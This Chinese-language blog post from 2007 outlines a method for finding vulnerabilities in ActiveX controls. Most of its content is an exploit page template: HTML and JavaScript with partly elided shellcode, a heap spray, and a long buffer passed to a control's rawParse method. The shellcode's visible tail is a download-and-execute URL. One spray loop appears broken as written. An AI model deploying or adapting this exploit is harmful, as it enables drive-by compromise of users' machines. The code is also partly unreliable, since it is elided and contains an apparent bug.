ActiveX漏洞挖掘思路

???Sir

于 2007-11-18 21:50:50 发布

阅读量161

点赞数

文章标签： javascript ViewUI

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_34268169/article/details/85166333

版权

最近关于ActiveX控件漏洞猛报，利用工具也不少，特将其漏洞挖掘思路整理如下：

（1）下载并安装欲测试的软件

（2）使用COM Explorer软件查看ActiveX控件的各种属性

（3）通过VS2005对象浏览器查看控件中的变量、函数、函数参数，从中寻找可能存在漏洞的参数。

（4）进行漏洞的测试

（5）编写漏洞利用网页

网页大致内容如下：

<html>
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
。。。。。。（省略）
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u312f%u3732" +
"%u302e%u302e%u312e%u632f%u6c61%u2e63%u7865%u0065");
</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) blockblock = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4096) buffer+="\x0a\x0a\x0a\x0a";
target.rawParse(buffer);
</script>
</body>
</html>

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
ActiveX漏洞挖掘思路

最近关于ActiveX控件漏洞猛报，利用工具也不少，特将其漏洞挖掘思路整理如下：（1）下载并安装欲测试的软件（2）使用COM Explorer软件查看ActiveX控件的各种属性（3）通过VS2005对象浏览器查看控件中的变量、函数、函数参数，从中寻找可能存在漏洞的参数。（4）进行漏洞的测试（5）编写漏洞利用网页网页大致内容如下：&lt;html&gt; ...
复制链接

扫一扫

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。